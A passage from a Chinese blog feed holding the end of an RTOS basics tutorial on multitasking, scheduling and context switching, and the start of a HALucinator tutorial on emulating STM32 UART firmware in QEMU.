等操作系统采用内核,允许用户看似同时访问计算机。多个用户显然可以同时执行多个程序。</p><p>每个正在执行的程序都是操作系统控制下的<strong>任务(或线程)。</strong>如果操作系统可以以这种方式执行多个任务,则称其为<strong>多任务处理</strong>。</p><p>使用多任务操作系统可以简化原本复杂的软件应用程序的设计:</p><ul><li>操作系统的<strong>多任务和任务间通信功能</strong>允许将复杂的应用程序划分为一组更小且更易于管理的任务。</li><li>分区可以导致更容易的软件测试、团队内的工作分解和代码重用。</li><li><strong>复杂的时序和排序细节可以从应用程序代码中删除</strong>,并成为操作系统的责任。</li></ul><h3 id="多任务与并发"><a href="#多任务与并发" class="headerlink" title="多任务与并发"></a>多任务与并发</h3><p>传统的处理器一次只能执行一个任务——但通过在任务之间快速切换,多任务操作系统可以让它看起来<strong>好像</strong>每个任务都在同时执行。下图对此进行了描述,该图显示了三个任务相对于时间的执行模式。任务名称用颜色编码并写在左手边。时间从左向右移动,彩色线条显示在任何特定时间正在执行的任务。上图展示了感知到的并发执行模式,下图展示了实际的多任务执行模式。</p><p><img src="/2022/12/14/RTOS%E5%AD%A6%E4%B9%A0-RTOS%E5%9F%BA%E7%A1%80/TaskExecution.gif" class="lazyload placeholder" data-srcset="/2022/12/14/RTOS%E5%AD%A6%E4%B9%A0-RTOS%E5%9F%BA%E7%A1%80/TaskExecution.gif" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="任务执行.gif"></p><h2 id="调度-Scheduling"><a href="#调度-Scheduling" class="headerlink" title="调度 Scheduling"></a>调度 Scheduling</h2><p><strong>调度程序</strong>是内核的一部分,负责决定在任何特定时间应该执行哪个任务。内核可以在任务生命周期内多次暂停和稍后恢复任务。</p><p>调度<strong>策略</strong>是调度程序用来决定在任何时间点执行哪个任务的算法。(非实时)多用户系统的策略很可能允许每个任务“公平”分配处理器时间。实时/嵌入式系统中使用的策略在后面描述。</p><p>除了被内核非自愿地挂起之外,任务还可以选择挂起自己。如果它想要延迟 ( <strong>sleep</strong> ) 一段固定的时间,或者等待 ( <strong>block</strong> ) 资源可用(例如串行端口)或事件发生(例如按键),它将执行此操作。阻塞或睡眠任务无法执行,并且不会分配任何处理时间。</p><p><img src="/2022/12/14/RTOS%E5%AD%A6%E4%B9%A0-RTOS%E5%9F%BA%E7%A1%80/suspending.gif" class="lazyload placeholder" data-srcset="/2022/12/14/RTOS%E5%AD%A6%E4%B9%A0-RTOS%E5%9F%BA%E7%A1%80/suspending.gif" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="暂停.gif"></p><p>参考上图中的数字:</p><ul><li>在 (1) 处,任务 1 正在执行。</li><li>在 (2) 处,内核挂起(换出)任务 1 … 并在 (3) 处恢复任务 2。</li><li>当任务 2 正在执行 (4) 时,它会锁定处理器外设以供其独占访问。</li><li>在 (5) 处,内核挂起任务 2 … 并在 (6) 处恢复任务 3。</li><li>任务 3 尝试访问同一个处理器外设,发现它已锁定任务 3 无法继续,因此在 (7) 处挂起。</li><li>在 (8) 处,内核恢复任务 1。</li><li>等等。</li><li>下一次任务 2 执行时 (9),它完成处理器外设并将其解锁。</li><li>下一次任务 3 执行 (10) 时,它发现它现在可以访问处理器外围设备,并且这次执行直到被内核挂起。</li></ul><h2 id="上下文切换Context-Switching"><a href="#上下文切换Context-Switching" class="headerlink" title="上下文切换Context Switching"></a>上下文切换Context Switching</h2><p>当任务执行时,它会像任何其他程序一样利用处理器/微控制器寄存器并访问 RAM 和 ROM。这些资源(处理器寄存器、堆栈等)一起构成了任务执行<strong>上下文</strong>。</p><p><img src="/2022/12/14/RTOS%E5%AD%A6%E4%B9%A0-RTOS%E5%9F%BA%E7%A1%80/ExeContext.gif" class="lazyload placeholder" data-srcset="/2022/12/14/RTOS%E5%AD%A6%E4%B9%A0-RTOS%E5%9F%BA%E7%A1%80/ExeContext.gif" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="执行上下文.gif"></p><p>任务是一段连续的代码——它不知道它何时会被内核挂起(换出或切换出)或恢复(换入或切换入),甚至不知道何时发生。考虑一个任务在执行一条指令之前被挂起的例子,该指令将包含在两个处理器寄存器中的值相加。当任务挂起时,其他任务将执行并可能修改处理器寄存器值。恢复后,任务将不知道处理器寄存器已被更改——如果它使用修改后的值,则求和将导致不正确的值。</p><p>为了防止这种类型的错误,<strong>任务在恢复时必须具有与其暂停之前相同的上下文</strong>。操作系统内核负责确保这种情况 - 并通过在任务挂起时保存任务的上下文来做到这一点。当任务恢复时,其保存的上下文在执行之前由操作系统内核恢复。<strong>保存被挂起任务的上下文和恢复被恢复任务上下文的过程</strong>称为<strong>上下文切换</strong>。</p><h2 id="实时应用程序-Real-Time-Applications"><a href="#实时应用程序-Real-Time-Applications" class="headerlink" title="实时应用程序 Real Time Applications"></a>实时应用程序 Real Time Applications</h2><p>实时操作系统 ( <strong>RTOSes</strong> ) 使用这些相同的原理实现多任务处理 - 但它们的目标与非实时系统的目标截然不同。<strong>不同的目标反映在调度策略中</strong>。<strong>实时/嵌入式系统旨在提供对现实世界事件的及时响应</strong>。现实世界中发生的事件可能有截止日期,实时/嵌入式系统必须在截止日期之前做出响应,并且 <strong>RTOS 调度策略必须确保满足这些截止日期</strong>。</p><p>为了实现这个目标,<strong>软件工程师必须首先为每个任务分配优先级</strong>。RTOS 的调度策略是<strong>简单地确保能够执行的最高优先级任务是给定处理时间的任务</strong>。如果它们准备好同时运行,这可能需要在具有相同优先级的任务之间“公平地”共享处理时间。</p><p><strong>例子:</strong></p><p>最基本的示例是包含键盘和 LCD 的实时系统。用户必须在合理的时间内获得每次按键的视觉反馈——如果用户在这段时间内看不到按键已被接受,则软件产品最多使用起来会很尴尬。如果最长的可接受时间段是 100 毫秒 - 0 到 100 毫秒之间的任何响应都是可以接受的。此功能可以作为具有以下结构的自主任务来实现: </p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">vKeyHandlerTask</span><span class="params">( <span class="keyword">void</span> *pvParameters )</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="comment">// Key handling is a continuous process and as such the task</span></span><br><span class="line"> <span class="comment">// is implemented using an infinite loop (as most real time</span></span><br><span class="line"> <span class="comment">// tasks are).</span></span><br><span class="line"> <span class="comment">// 按键处理是一个连续的过程,因此任务是使用无限循环实现的(就像大多数实时任务一样)。</span></span><br><span class="line"> <span class="keyword">for</span>( ;; )</span><br><span class="line"> {</span><br><span class="line"> [Suspend waiting <span class="keyword">for</span> a key press]<span class="comment">// 暂停等待按键</span></span><br><span class="line"></span><br><span class="line"> [Process the key press]<span class="comment">// 处理按键</span></span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>现在假设实时系统也在执行依赖于智能过滤的(digitally filtered)输入控制功能。必须对输入进行采样、过滤,并且控制周期每 2 毫秒执行一次。为了filter的正确操作,采样的时间规律性必须精确到 0.5ms。此功能可以作为具有以下结构的自主任务来实现:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">vControlTask</span><span class="params">( <span class="keyword">void</span> *pvParameters )</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">for</span>( ;; )</span><br><span class="line"> {</span><br><span class="line"> [Suspend waiting <span class="keyword">for</span> <span class="number">2</span>ms since the start of the previous</span><br><span class="line"> cycle]<span class="comment">//自上一个周期开始后暂停等待 2ms</span></span><br><span class="line"></span><br><span class="line"> [Sample the input]<span class="comment">// 对输入进行采样</span></span><br><span class="line"> [Filter the sampled input]<span class="comment">// 对采样输入进行滤波</span></span><br><span class="line"> [Perform control algorithm]<span class="comment">// 执行控制算法</span></span><br><span class="line"> [Output result]<span class="comment">// 输出结果</span></span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>软件工程师必须为控制任务分配最高优先级,如下所示:</p><ol><li>控制任务的期限比密钥处理任务的期限更严格。 </li><li>错过最后期限对控制任务的影响比对关键处理任务的影响更大。</li></ol><h2 id="实时调度-Real-Time-Scheduling"><a href="#实时调度-Real-Time-Scheduling" class="headerlink" title="实时调度 Real Time Scheduling"></a>实时调度 Real Time Scheduling</h2><p>下图演示了上面定义的任务将如何被实时操作系统调度。RTOS 自己创建了一个任务——<strong>空闲(idle)</strong>任务——只有当没有其他任务可以执行时才会执行。RTOS 空闲任务始终处于能够执行的状态。</p><p><img src="/2022/12/14/RTOS%E5%AD%A6%E4%B9%A0-RTOS%E5%9F%BA%E7%A1%80/RTExample.gif" class="lazyload placeholder" data-srcset="/2022/12/14/RTOS%E5%AD%A6%E4%B9%A0-RTOS%E5%9F%BA%E7%A1%80/RTExample.gif" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="RT例子.gif"></p><p>参考上图:</p><ul><li>一开始,我们的两个任务都无法运行——vControlTask 正在等待正确的时间来开始一个新的控制周期,而 vKeyHandlerTask 正在等待一个键被按下。处理器时间分配给 RTOS 空闲任务。</li><li><strong>在时间 t1,发生按键按下。</strong>vKeyHandlerTask 现在可以执行了——它比 RTOS 的idle 任务具有更高的优先级,因此获得了处理器时间。</li><li><strong>在时间 t2,vKeyHandlerTask 已完成处理密钥并更新 LCD</strong>。在按下另一个键之前它无法继续,因此会自行挂起并再次恢复 RTOS 空闲(idle)任务。</li><li><strong>在时间 t3,定时器事件指示是时候执行下一个控制周期了</strong>。vControlTask 现在可以执行,并且作为最高优先级任务立即安排处理器时间。</li><li><strong>在时间 t3 和 t4 之间,当 vControlTask 仍在执行时,发生按键按下。</strong>vKeyHandlerTask 现在可以执行了,但是因为它的优先级低于 vControlTask,所以它没有安排任何处理器时间。</li><li><strong>在 t4 时刻,vControlTask 完成了控制周期的处理,并且在下一个计时器事件之前无法重新启动 - 它会自行挂起</strong>。vKeyHandlerTask 现在是能够运行的具有最高优先级的任务,因此安排了处理器时间来处理之前的按键操作。</li><li><strong>在 t5 时,按键已被处理,并且 vKeyHandlerTask 暂停自身以等待下一个按键事件</strong>。同样,我们的任务都无法执行,并且 RTOS 空闲任务是预定的处理器时间。</li><li><strong>在 t5 和 t6 之间,一个定时器事件被处理,但是没有进一步的按键操作发生</strong>。</li><li><strong>下一次按键发生在时间 t6,但在 vKeyHandlerTask 完成处理该键之前,会发生一个计时器事件</strong>。现在这两个任务都可以执行了。由于 vControlTask 具有更高的优先级,vKeyHandlerTask 在完成处理密钥之前被挂起,并且 vControlTask 是预定的处理器时间。</li><li><strong>在 t8 时刻,vControlTask 完成控制周期的处理并暂停自身等待下一个</strong>。vKeyHandlerTask 再次是能够运行的最高优先级任务,因此安排了处理器时间,以便可以完成按键处理。</li></ul>]]></content>
<summary type="html"><h1 id="RTOS基础"><a href="#RTOS基础" class="headerlink" title="RTOS基础"></a>RTOS基础</h1><h2 id="为什么要使用-RTOS"><a href="#为什么要使用-RTOS" class="header</summary>
<category term="RTOS" scheme="http://example.com/tags/RTOS/"/>
<category term="操作系统" scheme="http://example.com/tags/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/"/>
</entry>
<entry>
<title>Halucinator使用教程</title>
<link href="http://example.com/2022/11/23/Halucinator%E4%BD%BF%E7%94%A8%E6%95%99%E7%A8%8B/"/>
<id>http://example.com/2022/11/23/Halucinator%E4%BD%BF%E7%94%A8%E6%95%99%E7%A8%8B/</id>
<published>2022-11-23T09:49:35.000Z</published>
<updated>2022-11-23T09:58:05.813Z</updated>
<content type="html"><![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>本教程假设您已经在Ubuntu18.04上安装了HALucinator,并且位于名为halucinator的虚拟环境中,并且源代码位于您的home目录中(例如~/)。有关设置的说明,请参阅主存储库自述文件。</p><p>它还使用了Ghidra9.1.2,我们已经将它放在了~/ghidra_9.1.2中。它可以位于任何位置,但您必须调整路径。可从以下网址获得:<a href="https://ghidra-sre.org/。">https://ghidra-sre.org/。</a></p><p>在整个教程中我们还使用visualstudio代码。您可以使用此编辑器或首选编辑器。</p><h2 id="教程"><a href="#教程" class="headerlink" title="教程"></a>教程</h2><p>本教程介绍了HALucinator的工作原理,以及如何实现自己的组件以实现固件的重新托管。如果您实现了支持新抽象层的组件,我们将很乐意接受拉取请求。</p><h3 id="概述"><a href="#概述" class="headerlink" title="概述"></a>概述</h3><p>HALucinator在仿真器中重新托管固件,以消除对硬件执行固件测试的需要。它使用一种称为高级仿真(HLE)的方法来实现这一点。通过使用HLE而不是试图使仿真器与硬件完美匹配,我们确定了固件中使用的抽象,并将其替换为提供足够功能的高级模型。</p><p>例如,<strong>考虑用于串行通信的UART</strong>。在物理系统中,固件将通过阅读和写入一系列存储器映射寄存器来与其通信。每个寄存器和其中的位都有特定的作用,如设置时钟源、时钟分频器、指示数据可用、提供数据、写入数据等。如果我们<strong>想仿真UART,就必须了解这些寄存器的每个位的作用,并实现它和连接它们的状态机</strong>。考虑到大量不同的微控制器,并且<strong>大多数微控制器的UART实现方式各不相同,大规模仿真成为一个令人生畏的问题</strong>。</p><p>这对于开发者也是一个挑战,因此制造商提供和/或开发者编写硬件抽象库(HAL)来简化仿真过程。您可以将这些HAL视为<strong>裸机系统的驱动程序函数</strong>。HAL<strong>提供HAL_UART_Transmit等功能</strong>,可<strong>执行UART寄存器发送数据所需的所有交互</strong>。使用HLE而不是实现UART来传输数据,我们<strong>只需拦截HAL_UART_Transmit函数的执行,读出数据,然后从函数返回而不执行它</strong>。然后我们管理并纠正任何状态,<strong>使其看起来像是正确执行了函数</strong>(或不正确地执行,如果这是我们想要的)。对于其他外围设备,我们执行相同的操作。这不仅更容易做到,而且可扩展性更好,因为<strong>制造商对整个设备系列使用相同的HAL</strong>。例如,STMicroelectronics提供了一个涵盖其所有ARMCortex-M器件的HAL。有关HALucinator概念的更多详细信息,请参阅我们的USENIXSecurity2020白皮书<a href="https://www.usenix.org/conference/usenixsecurity20/presentation/clements。">https://www.usenix.org/conference/usenixsecurity20/presentation/clements。</a></p><h3 id="HALucinator内部构成"><a href="#HALucinator内部构成" class="headerlink" title="HALucinator内部构成"></a>HALucinator内部构成</h3><p>给出了HLE的概述,让我们来看看HALucinator的内部。</p><p><img src="/2022/11/23/Halucinator%E4%BD%BF%E7%94%A8%E6%95%99%E7%A8%8B/image-20221121163139366.png" class="lazyload placeholder" data-srcset="/2022/11/23/Halucinator%E4%BD%BF%E7%94%A8%E6%95%99%E7%A8%8B/image-20221121163139366.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="image-20221121163139366"></p><p>HALucinator<strong>获取一个配置文件</strong>,用于设置固件的重新托管。</p><p>配置文件指定:</p><p>该架构的仿真器HALucinator采取配置文件,设置重新托管的固件。配置文件指定:</p><ul><li><p>仿真器应使用的架构(目前仅限ARMCortex-m0/m3和ARMv5)</p></li><li><p>开始执行的入口点</p></li><li><p>固件及其在仿真器中的位置</p></li><li><p>仿真器要使用的内存布局</p></li><li><p>要截取的函数以及如何处理它们</p></li></ul><p>使用这个配置文件,HALucinator<strong>启动仿真器(QEMU)并将GDB连接到它</strong>。然后它<strong>使用GDB在所有要拦截的函数的位置设置断点(BP)</strong>,并<strong>注册一个BP处理程序,当断点命中时执行</strong>。BP处理程序从模拟器中读取/写入数据,并管理状态,使其看起来像是我们希望执行的函数。然后,它返回,并且仿真固件的执行继续,就像函数已执行一样。<strong>BP处理器利用实现外围设备的通用行为的外围设备模型</strong>(例如,发送以太网帧、读/写串行数据等)。</p><p>回到UART示例,所有UART都发送/接收数据,但<strong>不同UART的HAL功能不同</strong>。我们<strong>在外设模型中实现了一次UART的数据发送和接收</strong>。BP<strong>处理程序处理HAL函数中的差异</strong>,并负责从模拟器中提取数据并将其传递给外围模型。然后,<strong>外围模块与外围服务器通信,外围服务器发送和接收来自外部设备的数据</strong>。这使得能够<strong>从一个点控制所有IO,并以灵活的方式进行控制</strong>。</p><p><em>注:外围服务器在USENIXSecurity2020白皮书中称为IO服务器。在代码中,外围设备服务器是最常用的,因此这是本教程中使用的名称。</em></p><p>在整个过程中,HALucinator<strong>使用Avatar2来控制许多不同组件的执行</strong>。HALucinator还可以使用Avatar2的外设,它提供了一种在MMIO寄存器级别实现外设的方法。然而,我们尽量不这样做,因为一般来说HLE更容易和更可扩展。</p><p>现在让我们运行一个示例:2_run_uart_example</p><h2 id="在UART上运行HALucinator示例"><a href="#在UART上运行HALucinator示例" class="headerlink" title="在UART上运行HALucinator示例"></a>在UART上运行HALucinator示例</h2><p>现在让我们运行HALucinator对于第一个示例,我们将<strong>运行一个简单的二进制文件</strong>,该文件<strong>通过UART发送几条消息,然后等待通过UART发送回10个字符</strong>。然后,<strong>二进制文件将这些字符回送,打印另一条消息,并进入无限循环</strong>。这与HALucinator的自述文件中的示例相同,位于<code>~/halucinator/test/STM32/example</code>中。除非另有指定,否则所有命令都应在此处运行。我们将在本教程中使用此示例固件。</p><p><img src="/2022/11/23/Halucinator%E4%BD%BF%E7%94%A8%E6%95%99%E7%A8%8B/uTools_1669021464722.png" class="lazyload placeholder" data-srcset="/2022/11/23/Halucinator%E4%BD%BF%E7%94%A8%E6%95%99%E7%A8%8B/uTools_1669021464722.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="~/halucinator/test/STM32/example中的内容"></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/*Bufferusedfortransmission*/</span></span><br><span class="line">uint8_taTxStartMessage[]=<span class="string">"\n\r****UART-HyperterminalcommunicationbasedonIT****\n\rEnter10charactersusingkeyboard:\n\r"</span>;</span><br><span class="line">uint8_taTxEndMessage[]=<span class="string">"\n\rExampleFinished\n\r"</span>;</span><br><span class="line"><span class="comment">/*Bufferusedforreception*/</span></span><br><span class="line">uint8_taRxBuffer[RXBUFFERSIZE];</span><br><span class="line"></span><br><span class="line">intmain(<span class="keyword">void</span>)</span><br><span class="line">{</span><br><span class="line">HAL_Init();</span><br><span class="line"></span><br><span class="line">SystemClock_Config();</span><br><span class="line"></span><br><span class="line"><span class="comment">/*Configureleds*/</span></span><br><span class="line">BSP_LED_Init(LED1);</span><br><span class="line">BSP_LED_Init(LED2);</span><br><span class="line">BSP_LED_Init(LED3);</span><br><span class="line"></span><br><span class="line"><span class="comment">/*##-1-ConfiguretheUARTperipheral######################################*/</span></span><br><span class="line">UartHandle.Instance=USARTx;</span><br><span class="line"></span><br><span class="line">UartHandle.Init.BaudRate=<span class="number">9600</span>;<span class="comment">//波特率9600</span></span><br><span class="line">UartHandle.Init.WordLength=UART_WORDLENGTH_8B;<span class="comment">//字长8bit</span></span><br><span class="line">UartHandle.Init.StopBits=UART_STOPBITS_1;<span class="comment">//</span></span><br><span class="line">UartHandle.Init.Parity=UART_PARITY_ODD;<span class="comment">//奇偶性</span></span><br><span class="line">UartHandle.Init.HwFlowCtl=UART_HWCONTROL_NONE;<span class="comment">//</span></span><br><span class="line">UartHandle.Init.Mode=UART_MODE_TX_RX;</span><br><span class="line">UartHandle.Init.OverSampling=UART_OVERSAMPLING_16;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(HAL_UART_Init(&UartHandle)!=HAL_OK)</span><br><span class="line">{</span><br><span class="line"><span class="comment">/*InitializationError*/</span></span><br><span class="line">Error_Handler();</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">/*##-2-Startthetransmissionprocess#####################################*/</span></span><br><span class="line"><span class="keyword">if</span>(HAL_UART_Transmit_IT(&UartHandle,(<span class="keyword">uint8_t</span>*)aTxStartMessage,TXSTARTMESSAGESIZE)!=HAL_OK)</span><br><span class="line">{</span><br><span class="line"><span class="comment">/*Transfererrorintransmissionprocess*/</span></span><br><span class="line">Error_Handler();</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">/*##-3-PutUARTperipheralinreceptionprocess###########################*/</span></span><br><span class="line"><span class="keyword">if</span>(HAL_UART_Receive_IT(&UartHandle,(<span class="keyword">uint8_t</span>*)aRxBuffer,RXBUFFERSIZE)!=HAL_OK)</span><br><span class="line">{</span><br><span class="line"><span class="comment">/*Transfererrorinreceptionprocess*/</span></span><br><span class="line">Error_Handler();</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">/*##-4-Waitfortheendofthetransfer###################################*/</span></span><br><span class="line"><span class="keyword">while</span>(HAL_UART_GetState(&UartHandle)!=HAL_UART_STATE_READY)</span><br><span class="line">{</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">/*##-5-SendthereceivedBuffer###########################################*/</span></span><br><span class="line"><span class="keyword">if</span>(HAL_UART_Transmit_IT(&UartHandle,(<span class="keyword">uint8_t</span>*)aRxBuffer,RXBUFFERSIZE)!=HAL_OK)</span><br><span class="line">{</span><br><span class="line"><span class="comment">/*Transfererrorintransmissionprocess*/</span></span><br><span class="line">Error_Handler();</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">/*##-6-Waitfortheendofthetransfer###################################*/</span></span><br><span class="line"><span class="keyword">while</span>(HAL_UART_GetState(&UartHandle)!=HAL_UART_STATE_READY)</span><br><span class="line">{</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">/*##-7-SendtheEndMessage###############################################*/</span></span><br><span class="line"><span class="keyword">if</span>(HAL_UART_Transmit_IT(&UartHandle,(<span class="keyword">uint8_t</span>*)aTxEndMessage,TXENDMESSAGESIZE)!=HAL_OK)</span><br><span class="line">{</span><br><span class="line"><span class="comment">/*TurnLED3on:Transfererrorintransmissionprocess*/</span></span><br><span class="line">BSP_LED_On(LED3);</span><br><span class="line"><span class="keyword">while</span>(<span class="number">1</span>)</span><br><span class="line">{</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">/*##-8-Waitfortheendofthetransfer###################################*/</span></span><br><span class="line"><span class="keyword">while</span>(HAL_UART_GetState(&UartHandle)!=HAL_UART_STATE_READY)</span><br><span class="line">{</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">/*Infiniteloop*/</span></span><br><span class="line"><span class="keyword">while</span>(<span class="number">1</span>)</span><br><span class="line">{</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">staticvoidError_Handler(<span class="keyword">void</span>)</span><br><span class="line">{</span><br><span class="line"><span class="comment">/*TurnLED3on*/</span></span><br><span class="line">BSP_LED_On(LED3);</span><br><span class="line"><span class="keyword">while</span>(<span class="number">1</span>)</span><br><span class="line">{</span><br><span class="line">}</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>上面是想要理解main的话<strong>最相关的代码部分</strong>。您会注意到<strong>它发送TxStartMessage</strong>,然后将RXBUFFERSIZE字符读入RxBuffer,<strong>再将其从UART写回,然后写入TxEndMessage</strong>。如果在<strong>任何时候出现错误,它将调用Error_Handler并打开LED3</strong>。</p><h3 id="启动UART应用程序"><a href="#启动UART应用程序" class="headerlink" title="启动UART应用程序"></a>启动UART应用程序</h3><p>要运行该示例,我们需要两个终端,<strong>一个用于运行UART外部设备,该设备从/向HALucinator接收和发送字符,另一个用于执行HALucinator中的固件</strong>。</p><p>打开终端并启动UART外部设备。此应用程序使用<code>-i</code>选项提供的id向外设服务器订阅UART消息。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">workon halucinator <span class="comment"># Activates the virtual environment</span></span><br><span class="line"><span class="built_in">cd</span> ~/halucinator/<span class="built_in">test</span>/STM32/example</span><br><span class="line">hal_dev_uart -i=1073811456 <span class="comment"># Start the uart dev for UART data with id -i</span></span><br></pre></td></tr></table></figure><h3 id="在HALucinator中运行固件"><a href="#在HALucinator中运行固件" class="headerlink" title="在HALucinator中运行固件"></a>在HALucinator中运行固件</h3><p>接下来,我们将启动HALucinator。为了运行它,它需要知道固件期望的内存布局和固件本身。此外,我们希望指定函数来拦截HAL函数和每个函数的处理程序。这些都是在配置文件中指定的。</p><p>为了便于移植,这些文件通常分布在多个文件中,稍后我们将介绍这些内容。这些被提供给HALucinator,然后HALucinator在内部将它们连接成单个配置。在此示例中,配置被拆分为三个文件。</p><ul><li><strong>Uart_Hyperterminal_IT_O0_memory.yaml</strong>描述内存布局以及固件的放置位置。</li><li><strong>Uart_Hyperterminal_IT_O0_config.yaml</strong>中指定了要截取的函数的名称以及每个函数的处理程序</li><li><strong>Uart_Hyperterminal_IT_O0_addrs.yaml</strong>提供了函数名称到固件中的地址的映射。通过提供不同的地址文件,将地址分开可以使同一配置用于多个固件。</li></ul><p>我们还将使用<code>--log_blocks=trace-nochain</code>指定另一个选项来<strong>保存执行跟踪</strong>。<strong>这将捕获QEMU执行的每条指令,并禁用QEMU内部的块缓存</strong>。它不是必需的,但它<strong>提供了对正在发生的事情的高度可见性</strong>。但是,它<strong>可能会导致仿真器的速度显著降低,并创建非常大的日志文件</strong>。对于长时间运行,示例中不使用—log_blocks选项。</p><p>把上述所有的都放在一起。打开另一个终端并执行以下命令。</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">workon halucinator</span><br><span class="line">cd ~/halucinator/test/STM32/example</span><br><span class="line">halucinator -c Uart_Hyperterminal_IT_O0_memory.yaml -c Uart_Hyperterminal_IT_O0_config.yaml -c Uart_Hyperterminal_IT_O0_addrs.yaml --log_blocks=trace-nochain</span><br></pre></td></tr></table></figure><p><img src="/2022/11/23/Halucinator%E4%BD%BF%E7%94%A8%E6%95%99%E7%A8%8B/uTools_1669024676899.png" class="lazyload placeholder" data-srcset="/2022/11/23/Halucinator%E4%BD%BF%E7%94%A8%E6%95%99%E7%A8%8B/uTools_1669024676899.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1669024676899"></p><p>现在,您应该在两个终端中看到上图,<strong>左侧是HALucinator,右侧是外部设备</strong>。您将注意到HALucinator在初始化期间打印出消息,然后在该点之后让QEMU运行表示固件正在执行。您会注意到ReturnZero处理程序截获了几个HAL函数,然后UART TX处理程序运行并发送一个长字符串。相同的字符串显示在右侧的UART外部设备中。</p><p>现在输入10个字符(例如,0123456789),然后按Enter键。您现在应该会看到如下所示的内容。</p><p><img src="/2022/11/23/Halucinator%E4%BD%BF%E7%94%A8%E6%95%99%E7%A8%8B/uTools_1669024771076.png" class="lazyload placeholder" data-srcset="/2022/11/23/Halucinator%E4%BD%BF%E7%94%A8%E6%95%99%E7%A8%8B/uTools_1669024771076.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" 